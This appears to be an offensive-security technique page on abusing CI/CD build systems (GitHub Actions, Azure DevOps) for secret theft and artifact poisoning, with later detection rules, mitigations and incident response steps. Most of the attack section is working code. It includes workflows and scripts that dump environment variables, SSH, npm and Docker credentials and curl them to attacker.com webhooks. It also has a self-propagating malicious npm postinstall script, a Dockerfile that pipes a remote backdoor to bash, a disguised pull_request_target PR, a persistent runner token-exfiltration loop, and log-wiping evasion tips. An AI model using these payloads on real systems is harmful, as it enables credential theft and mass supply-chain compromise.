| Attribute | Details |
|---|---|
| Technique ID | SUPPLY-CHAIN-002 |
| MITRE ATT&CK v18.1 | Compromise Software Dependencies and Development Tools (T1195.001) |
| Tactic | Resource Development |
| Platforms | Entra ID / DevOps (Azure DevOps, GitHub, GitLab CI) |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | GitHub Actions (all), Azure DevOps (all), GitLab CI (all), Jenkins (all) |
| Patched In | N/A - requires architectural changes to build infrastructure |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Build system access abuse occurs when attackers gain unauthorized access to CI/CD build runners, agents, or build infrastructure (GitHub Actions runners, Azure DevOps agents, GitLab runners, Jenkins nodes) and abuse this access to execute arbitrary code, steal secrets, or poison artifacts during the build process. Unlike repository compromise (which injects malicious code into source), this attack abuses the build execution environment itself to compromise the build pipeline after legitimate code has been committed. Attackers can inject malicious build steps, exfiltrate environment secrets, modify compiled artifacts, or install persistent backdoors on build agents.
Attack Surface: GitHub Actions runners (GitHub-hosted and self-hosted), Azure DevOps build agents (Microsoft-hosted and self-hosted), GitLab CI runners, Jenkins build nodes, build caches, artifact repositories, environment variables, workload identity tokens, service account credentials, runner configuration files.
Business Impact: Poisoned build artifacts distributed to end users. Attackers can modify compiled binaries, insert malicious dependencies, alter configuration files, or inject backdoors into final release artifacts. All downstream consumers that pull these poisoned artifacts become compromised. This can affect hundreds of thousands of end users simultaneously, enabling mass distribution of malware, ransomware, or trojanized software. Additionally, secrets stored in build environments (cloud credentials, API keys, certificates) can be exfiltrated for lateral movement across infrastructure.
Technical Context: Build system access typically takes 5-30 minutes once initial foothold is achieved. Detection likelihood is medium if environment variable logging is enabled but can be low if logs are sanitized or deleted post-execution. Common indicators include unusual build job execution, access to artifact storage, modifications to runner configuration, and exfiltration of secrets.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS v1.4.0 – CD-1.1 | Build pipelines must enforce separation of duties between code review and artifact release. |
| DISA STIG | AC-3(7) – Separation of Duties | Build infrastructure must prevent operators from both approving and executing deployments. |
| CISA SCuBA | SCUBA-GH-A2-01 | GitHub Actions runners must be isolated and restricted to approved operations. |
| NIST 800-53 | SI-7(14) – Integrity Monitoring | Build system must monitor and alert on unauthorized modifications to artifacts. |
| GDPR | Art. 32 – Security of Processing | Technical measures must protect the integrity of automated processing systems. |
| DORA | Art. 16 – Operational Resilience Testing | Financial entities must test CI/CD supply chain security controls regularly. |
| NIS2 | Art. 21 – Basic Cyber Hygiene | Critical infrastructure operators must secure build infrastructure against compromise. |
| ISO 27001 | A.14.2.1 – Change Management | Build systems must have change control and approval processes. |
| ISO 27005 | Risk: Compromise of Build Infrastructure | Assess risks of attackers poisoning artifacts through compromised build systems. |
Required Privileges: Self-hosted runner admin, build agent admin, service account with write access to artifact repositories, workflow dispatch permissions. GitHub Actions: actions:use permission. Azure DevOps: Build.Admin or Build.QueueBuildForMe permission.
Required Access: Network access to CI/CD infrastructure. Valid authentication to build agent (SSH key, credentials, workload identity token). Write access to artifact repositories (npm, Docker, NuGet, Maven, etc.). Access to runner configuration files and environment setup scripts.
Supported Versions:
Jenkins: (all versions, especially with GitOps integrations)
# Enumerate GitHub Actions runners in organization
gh api orgs/{org}/actions/runners --paginate | jq '.runners[] | {name, status, labels, runner_group_id}'
# Check runner labels (self-hosted runners expose OS and capabilities)
gh api repos/{owner}/{repo}/actions/runners --paginate | jq '.runners[] | select(.os == "self-hosted")'
# List workflow files that use self-hosted runners
gh api repos/{owner}/{repo}/contents/.github/workflows --paginate | jq '.[] | select(.name | endswith(".yml"))'
# Check recent workflow execution logs
gh run list --repo {owner}/{repo} --limit 10 --json 'databaseId,status,createdAt,conclusion' -q '.[] | "\(.databaseId) - \(.status) - \(.conclusion)"'
What to Look For:
windows, macos, large-runner)pull_request_target with self-hosted runners (RCE vector)# List all build agents in project
az pipelines agent list --organization "https://dev.azure.com/{org}" --project "{project}"
# Check self-hosted agent capabilities
az pipelines agent list --organization "https://dev.azure.com/{org}" --project "{project}" \
--query "[?type == 'self-hosted'].{name: name, status: status, version: version, capabilities: userCapabilities}"
# Enumerate recent build jobs
az pipelines build list --organization "https://dev.azure.com/{org}" --project "{project}" \
--top 20 --query "[].{id: id, status: status, queueTime: queueTime}"
What to Look For:
PrivilegeLevel=Admin)# Check Docker daemon configuration (if builds run in containers)
docker info | grep -E "Storage Driver|Registry|Security Options"
# List recent container images (look for suspicious base images)
docker images --format ":" | head -20
# Check container registries accessible from build environment
curl -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://kubernetes.default.svc/api/v1/secrets?namespace=default | jq '.items[] | select(.type == "Opaque")'
What to Look For:
Supported Versions: GitHub Actions (all), Azure DevOps (all), GitLab CI (all)
Objective: Identify self-hosted runners that can be exploited via network access or compromised credentials.
Command (GitHub):
# List all self-hosted runners accessible to compromised account
gh api orgs/{org}/actions/runners --paginate | jq '.runners[] | select(.status == "idle" or .status == "offline") | {name, os, labels, ip_address}'
# Check runner group permissions (determine who can use the runner)
gh api orgs/{org}/actions/runner-groups --paginate | jq '.runner_groups[] | {name, visibility, selected_repositories_url}'
Expected Output:
{
"name": "self-hosted-ubuntu-001",
"os": "linux",
"labels": [
"self-hosted",
"linux",
"x64",
"docker",
"npm"
],
"ip_address": "192.168.1.100"
}
What This Means:
Command (Azure DevOps):
# List all personal access tokens visible to current user (service account enumeration)
az devops service-endpoint list --organization "https://dev.azure.com/{org}" --project "{project}" \
--query "[?type == 'self-hosted-agent'].authentication"
# Check agent pool permissions
az pipelines agent-pool list --organization "https://dev.azure.com/{org}" \
--query "[].{name: name, size: size, isHosted: isHosted}"
OpSec & Evasion:
Objective: Obtain valid workflow dispatch token or build agent credentials.
Command (Token Theft from CI/CD Logs):
# If attacker can read build logs, extract embedded secrets
$logContent = Get-Content "C:\agents\{agent-name}\logs\job_xyz.log" -Raw
$secrets = $logContent | Select-String -Pattern 'TOKEN|PASSWORD|SECRET|KEY' -AllMatches
# Exfiltrate secrets
$secrets | Out-File "C:\temp\exfil.txt"
curl -d @C:\temp\exfil.txt https://attacker.com/webhook
Command (Workflow Dispatch Token Abuse):
# If attacker has PAT with `workflow` scope, trigger build manually
gh workflow run {workflow-name} --repo {owner}/{repo} \
--ref main \
--inputs '{"secret_to_exfil": "true"}'
Expected Output (Success):
✓ Triggered {workflow-name} (ID: 123456789)
OpSec & Evasion:
Objective: Inject arbitrary commands into running build job to steal credentials and secrets.
Command (GitHub Actions - Via Pull Request):
# Malicious PR with workflow that exfiltrates secrets
name: Exfiltrate Build Secrets
on: [workflow_dispatch, pull_request_target]
jobs:
exfil:
runs-on: ubuntu-latest # Or self-hosted runner
steps:
- name: Checkout code
uses: actions/checkout@v3
with:
ref: $
- name: Steal Secrets
run: |
# Dump all environment variables (includes GitHub tokens, secrets)
env > /tmp/env_dump.txt
# Harvest credentials from common locations
cat ~/.git-credentials ~/.netrc ~/.ssh/id_* 2>/dev/null | base64 -w0 > /tmp/creds.b64
# Extract secrets from docker config
cat ~/.docker/config.json 2>/dev/null | base64 -w0 >> /tmp/creds.b64
# Extract npm tokens
cat ~/.npmrc 2>/dev/null | base64 -w0 >> /tmp/creds.b64
# Exfiltrate via webhook
curl -X POST \
-d @/tmp/env_dump.txt \
-H "Content-Type: text/plain" \
https://attacker-webhook.com/github-exfil
# Exfiltrate base64-encoded credentials
curl -X POST \
-d "creds=$(cat /tmp/creds.b64)" \
https://attacker-webhook.com/creds-exfil
Expected Output (Exfiltrated Secrets):
GITHUB_TOKEN=ghu_abcdefghijklmnop
NPM_TOKEN=npm_abcdefghijklmnop
DOCKER_PASSWORD=mypassword123
AWS_ACCESS_KEY_ID=AKIA...
KUBECONFIG=/tmp/kubeconfig.yaml
Command (Azure Pipelines - Via Script Step):
trigger:
- main
pool:
vmImage: 'ubuntu-latest'
steps:
- script: |
# Dump all environment variables
env | grep -E "TOKEN|SECRET|KEY|PASSWORD" | tee /tmp/secrets.txt
# Exfiltrate via curl
curl -X POST -d @/tmp/secrets.txt $(WEBHOOK_URL)
# Download and execute attacker payload
wget https://attacker.com/payload.sh -O /tmp/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
displayName: 'Build Step'
env:
WEBHOOK_URL: $(EXFIL_WEBHOOK)
What This Means:
GITHUB_TOKEN, SYSTEM_ACCESSTOKEN) are exfiltratedOpSec & Evasion:
2>/dev/null to suppress errors and hide command failures from logshistory -c && history -wrm /tmp/env_dump.txt /tmp/creds.b64Objective: Use exfiltrated credentials to publish malicious artifacts to npm, Docker Hub, or other package registries.
Command (npm Package Poisoning):
# Using stolen npm token, publish malicious package version
npm login --registry https://registry.npmjs.org --auth-token ${STOLEN_NPM_TOKEN}
# Modify package.json to add postinstall script
cat >> package.json << 'EOF'
{
"name": "popular-package",
"version": "1.2.4-patch",
"postinstall": "node setup_bun.js"
}
EOF
# Create malicious postinstall script
cat > setup_bun.js << 'EOF'
const https = require('https');
const os = require('os');
// Exfiltrate environment to attacker server
const payload = JSON.stringify({
env: process.env,
user: os.userInfo(),
cwd: process.cwd()
});
https.request({
hostname: 'attacker.com',
path: '/install',
method: 'POST',
headers: { 'Content-Type': 'application/json' }
}, (res) => {}).end(payload);
// Propagate malware: modify other packages
const fs = require('fs');
const path = require('path');
const nodeModules = path.join(process.cwd(), 'node_modules');
if (fs.existsSync(nodeModules)) {
fs.readdirSync(nodeModules).forEach(pkg => {
const pkgJsonPath = path.join(nodeModules, pkg, 'package.json');
if (fs.existsSync(pkgJsonPath)) {
// Inject malicious postinstall into all dependencies
const pkgJson = JSON.parse(fs.readFileSync(pkgJsonPath, 'utf8'));
pkgJson.postinstall = 'node -e "eval(Buffer.from(process.env.MALWARE_PAYLOAD, \"base64\").toString())"';
fs.writeFileSync(pkgJsonPath, JSON.stringify(pkgJson));
}
});
}
EOF
# Publish poisoned package
npm publish --registry https://registry.npmjs.org
Expected Output (Success):
npm notice Publishing package to registry
+ popular-package@1.2.4-patch
What This Means:
npm install popular-package@1.2.4-patch automatically executes setup_bun.jsCommand (Docker Image Poisoning):
# Using stolen Docker registry credentials
docker login -u ${STOLEN_USERNAME} -p ${STOLEN_PASSWORD} docker.io
# Pull legitimate base image
docker pull docker.io/library/node:18-alpine
# Create malicious Dockerfile
cat > Dockerfile << 'EOF'
FROM docker.io/library/node:18-alpine
RUN apk add --no-cache curl bash && \
curl https://attacker.com/backdoor.sh | bash && \
rm -f /var/log/apk.log /var/cache/apk/* /root/.bash_history
WORKDIR /app
COPY . .
RUN npm install && npm run build
CMD ["npm", "start"]
EOF
# Build and tag
docker build -t docker.io/vulnerable-app:1.2.0 .
# Push to registry (overwrites existing tag)
docker push docker.io/vulnerable-app:1.2.0
OpSec & Evasion:
RUN command during build (harder to detect than exec)Supported Versions: GitHub Actions (all versions)
Objective: Inject malicious GitHub Actions workflow that executes with repository secrets.
Command:
# Create feature branch with malicious workflow
git checkout -b exploit/exfil-secrets
# Create malicious workflow that accesses pull_request_target event
mkdir -p .github/workflows
cat > .github/workflows/steal-secrets.yml << 'EOF'
name: Collect Build Data
on:
pull_request_target: # Runs on base branch with full access to secrets
types: [opened, synchronize]
jobs:
analyze:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: $ # Checkout main, not PR head
- name: Analyze dependency tree
run: |
# Legitimate-looking step that exfiltrates secrets
npm install --dry-run 2>&1 | head -100
- name: Upload analysis
run: |
# Exfiltrate all secrets to webhook
curl -X POST https://attacker.com/api/webhook \
-H "Content-Type: application/json" \
-d "{
\"github_token\": \"$\",
\"npm_token\": \"$\",
\"docker_password\": \"$\",
\"environment\": \"$(env | base64 -w0)\"
}"
EOF
# Commit and push
git add .github/workflows/steal-secrets.yml
git commit -m "Add dependency analysis workflow"
git push origin exploit/exfil-secrets
# Create PR (can be done via API or web UI)
gh pr create --base main --head exploit/exfil-secrets \
--title "Improve build analysis" \
--body "Adds automated dependency tree analysis to catch supply chain issues early."
Expected Output:
Workflow triggered on pull_request_target event
Exfiltrated GITHUB_TOKEN=ghu_xxxxxxxxxxxxxxxx
Exfiltrated NPM_TOKEN=npm_xxxxxxxxxxxxxxxx
What This Means:
pull_request_target event runs the workflow from the base branch (main) but with the PR code checked outOpSec & Evasion:
$ syntax which doesn’t appear in logs (logs show *** placeholders)Objective: If PR requires approval, wait for maintainer to approve (or use social engineering).
Command:
# Monitor PR approval status
gh pr view {pr-number} --repo {owner}/{repo} --json reviewDecision,statusCheckRollup
# Alternatively, if attacker can dismiss reviews or has admin access:
gh pr review {pr-number} --approve --repo {owner}/{repo}
# Trigger manual workflow execution (if PR requires approval gate)
gh workflow run steal-secrets.yml --repo {owner}/{repo} \
-f pr_number="{pr-number}"
Supported Versions: GitHub Actions (self-hosted), Azure DevOps (self-hosted agents)
Objective: Modify runner startup scripts to inject malicious credential exfiltration hooks.
Command (GitHub Actions Runner on Linux):
# Access runner directory (typically /home/runner-user/actions-runner)
cd /home/runner-user/actions-runner
# Locate runner configuration
cat .env
# OUTPUT:
# RUNNER_ALLOWUSERSWITCHINGACCOUNTS=false
# GITHUB_URL=https://github.com
# GITHUB_RUNNER_REGISTRATION_TOKEN=xxxxxxxxxxxx
# Modify runner startup script to exfiltrate tokens
cat > run_exfil.sh << 'EOF'
#!/bin/bash
# Original runner startup
/home/runner-user/actions-runner/run.sh &
RUNNER_PID=$!
# Inject credential exfiltration loop
while true; do
sleep 300 # Every 5 minutes
# Extract runner token from process environment
RUNNER_TOKEN=$(cat /proc/$RUNNER_PID/environ | tr '\0' '\n' | grep RUNNER_TOKEN)
# Exfiltrate via webhook
curl -X POST https://attacker.com/token \
-d "runner_token=${RUNNER_TOKEN}"
# Also grab job-specific tokens from build directory
find /home/runner-user -name "job_*.json" -exec cat {} \; | \
curl -d @- https://attacker.com/job-tokens
done
EOF
chmod +x run_exfil.sh
# Modify runner config to use malicious startup script
# Replace runner startup in systemd or supervisor config
sudo systemctl edit actions.runner.myorg-myrepo.runner
# [Service]
# ExecStart=/home/runner-user/actions-runner/run_exfil.sh # <-- injected
Expected Output (Continuous Credential Exfiltration):
Exfiltrated RUNNER_TOKEN=...
Exfiltrated GITHUB_TOKEN (from job) = ghu_...
OpSec & Evasion:
Rule Configuration:
SPL Query:
index=github_enterprise
sourcetype="github:actions:workflow"
(
step_name IN ("*secret*", "*credential*", "*exfil*", "*dump*", "*token*", "*password*")
OR script CONTAINS ("env |", "printenv", "declare -p", "export", "base64", "curl", "wget", "-d @")
)
AND runner_type=self-hosted
| stats count by workflow_name, step_name, runner_type, timestamp
| where count > 0
What This Detects:
env, printenv, declare to dump environment variablescurl -d @, | base64, | wgetManual Configuration Steps:
Alert when number of events is greater than 0Rule Configuration:
KQL Query:
AzureActivity
| where TimeGenerated > ago(5m)
| where OperationNameValue in (
'Microsoft.VisualStudio/pipelines/write',
'Microsoft.VisualStudio/build/queue'
)
| extend Properties = parse_json(tostring(Properties))
| extend JobName = tostring(Properties.jobName), JobScript = tostring(Properties.jobScript)
| where JobName has_any ('exfil', 'secret', 'cred', 'token', 'dump', 'steal') or
JobScript has_any ('curl -d', 'wget --post', '| base64', 'env |')
| project TimeGenerated, Caller, OperationNameValue, JobName, JobScript
| summarize SuspiciousJobs = count() by Caller
| where SuspiciousJobs > 0
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Build Job with Credential ExfiltrationHigh5 minutesEnforce IP allowlisting for self-hosted runners:
GitHub:
10.0.0.0/8, 203.0.113.0/24 (internal networks only)Azure DevOps:
Validation Command:
# Verify IP allowlist is enforced
gh api orgs/{org}/actions/runner-groups --query '.runner_groups[] | {name, ip_allowlist}'
Implement secrets rotation on all CI/CD credentials (90-day max lifetime):**
GitHub:
Azure DevOps:
Validation Command:
# List expiring secrets
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/{owner}/{repo}/secrets" | \
jq '.[] | select(.expires_at < now | 90 * 86400) | {name, expires_at}'
Restrict GitHub Actions workflow permissions to read-only by default:
Manual Steps:
YAML Configuration (for all workflows):
permissions:
contents: read
pull-requests: read
# NO write, admin, or workflow permissions by default
Implement artifact signing and verification (SLSA Framework):
GitHub:
name: Build and Sign Artifact
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Build artifact
run: npm run build && sha256sum dist/* > CHECKSUMS.txt
- name: Sign SBOM
uses: slsa-framework/slsa-github-generator/.github/workflows/generator_container_slsa3@v1.4.0
with:
image: ghcr.io/$
image-digest: $
registry-username: $
registry-password: $
slsa-layout-file: build/slsa-provenance.json
Verification (on consumer side):
# Download and verify SLSA provenance
slsa-verify verify-artifact myapp-1.2.0.tar.gz \
--provenance-path myapp-1.2.0.tar.gz.slsa
Implement Build Artifact Scanning (SBOM + Malware detection):
GitHub Actions:
- name: Generate SBOM
uses: CycloneDX/cyclonedx-npm@v2
with:
output-file: sbom.json
- name: Scan SBOM for known vulnerabilities
run: |
npm install -g @cyclonedx/npm
grype sbom.json --output=json > vulnerabilities.json
if grep -q "CRITICAL" vulnerabilities.json; then
exit 1
fi
Isolate self-hosted runners in separate network segment:
Network Configuration:
*.com, *.net except whitelisted domainscurl, wget, nc, socat in build stepsenv |, printenv, declare -p| base64 -w0, -d @, | cut -d:postinstall or preinstall scriptssecurity-check.yml, analyze.yml)pull_request_target triggercurl or wget commands with https://attacker.com.github/workflows/*.yml files modified recently/var/log/build-job-*.log contains exfiltration commands~/.docker/config.json shows login from unusual IP~/.ssh/config contains new host entriesMicrosoft.VisualStudio/pipelines/execute with suspicious job names# Immediately revoke all build-related secrets
gh secret delete NPM_TOKEN --repo {owner}/{repo}
gh secret delete DOCKER_PASSWORD --repo {owner}/{repo}
gh secret delete AWS_CREDENTIALS --repo {owner}/{repo}
# Disable self-hosted runners
gh api repos/{owner}/{repo}/actions/runners/{runner-id} -X DELETE
# Revoke build agent credentials
az pipelines agent delete --organization "https://dev.azure.com/{org}" --id {agent-id} --yes
# Export all workflow execution logs
gh run list --repo {owner}/{repo} --json databaseId | jq '.[] | .databaseId' | \
while read run_id; do
gh run download $run_id --repo {owner}/{repo} -D /tmp/evidence
done
# Export GitHub audit logs for the affected timeframe
curl -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/{org}/audit-log?include=all&phrase=created:>2026-01-01" > \
/tmp/audit-log-full.json
# Revert malicious workflow changes
git revert <malicious-commit-hash>
git push origin main
# Delete poisoned artifact versions from registry
npm unpublish my-package@1.2.4 --force # npm
docker image rm myregistry.azurecr.io/myapp:1.2.4 # Docker
# Rotate all credentials with fresh values
# (Generate new tokens in GitHub/Azure DevOps/npm/Docker)
# Quarantine poisoned artifacts
# Download and archive all versions published during compromise window
# Scan with antivirus and YARA rules for malware signatures
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-002] | ROADtools enumeration of Azure DevOps service connections and pipelines |
| 2 | Initial Access | [IA-PHISH-001] | Device code phishing to compromise developer credentials |
| 3 | Credential Access | [CA-OAUTH-001] | OAuth token theft or consent abuse to obtain workflow dispatch permissions |
| 4 | Lateral Movement | [SUPPLY-CHAIN-001] | Pipeline Repository Compromise - inject malicious workflow into repo |
| 5 | Current Step | [SUPPLY-CHAIN-002] | Build System Access Abuse - exfiltrate secrets, poison artifacts |
| 6 | Impact | [SUPPLY-CHAIN-003] | Artifact Repository Poisoning - distribute trojanzied packages to end users |
| 7 | Persistence | [PERSIST-002] | Create backdoored OAuth app or service principal for future access |
postinstall script executed malware that harvested GitHub tokens, npm tokens, SSH keys, and cryptocurrency wallet credentials.--yolo, --dangerously-skip-permissions, --trust-all-tools) to exfiltrate filesystem contents. Over 1,000 valid GitHub tokens and cloud credentials stolen.